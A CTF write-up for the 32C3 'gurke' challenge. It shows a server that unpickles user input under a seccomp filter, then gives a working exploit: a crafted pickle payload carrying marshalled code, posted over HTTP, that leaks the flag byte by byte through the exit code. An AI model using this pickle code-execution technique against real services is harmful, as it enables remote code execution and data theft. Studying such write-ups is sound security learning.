32C3 CTF - gurke

Non-standard gurke: https://32c3ctf.ccc.ac/uploads/gurke Talk to it via HTTP on http://136.243.194.43/.

Gurke is German for ‘cucumber’. Server runs this code:

#!/usr/bin/env python
import sys
import os

import socket
import pickle
import base64
import marshal
import types
import inspect
import encodings.string_escape

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
flag = Flag()

from seccomp import *

f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
f.add_rule_exactly(ALLOW, "close")
f.add_rule_exactly(ALLOW, "exit_group")

f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
f.add_rule_exactly(ALLOW, "stat")
f.add_rule_exactly(ALLOW, "lstat")
f.add_rule_exactly(ALLOW, "lseek")
f.add_rule_exactly(ALLOW, "fstat")
f.add_rule_exactly(ALLOW, "getcwd")
f.add_rule_exactly(ALLOW, "readlink")
f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
f.add_rule_exactly(ALLOW, "munmap")
f.load()

data = os.read(0, 4096)
try:
    res = pickle.loads(data)
    print 'res: %r\n' % res
except Exception as e:
    print >>sys.stderr, "exception", repr(e)

os._exit(0)

Everyone knows that unpickling user provided data is dangerous. I’ve used arbitrary code execution pickle from https://www.cs.uic.edu/~s/musings/pickle.html.

We cannot just “print flag.flag”, because the context where our code is executed is inside pickle module of remote server. So we needed some workaround by reading:

vars(sys.modules['__main__'])['flag'].flag

Even if we had access to it, we could not get the data directly because writing to stdout is forbidden by seccomp. We extracted the flag byte by byte through the exit code.

import requests
import os
import sys
import marshal

def getbyte(pos):
    exec("""
def f():
    import os
    m = globals()['sys'].modules
    x = m['__main__']
    x = vars(x)['flag'].flag
    x = ord(repr(x)[%d])
    os._exit(x)
""" % pos)
    m = marshal.dumps(f.func_code).encode('base64')

    p = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % m.replace('\n','')

    r = requests.post("http://136.243.194.43/", data=str(p))
    if "exception" in r.content:
        print r.content
        return None
    else:
        return int(r.content[7:])

s = ""
for i in range(100):
    c = getbyte(i)
    if not c:
        break
    s += chr(c)
    print c, s
print s

Flag is 32c3_rooDahPaeR3JaibahYeigoong

Other posts (list)


32C3 CTF - blobberry
32C3 CTF - ey_or
32C3 CTF - gurke
Regex Crossword Solver with Z3
Holyshield 2016 - Holy Cat writeup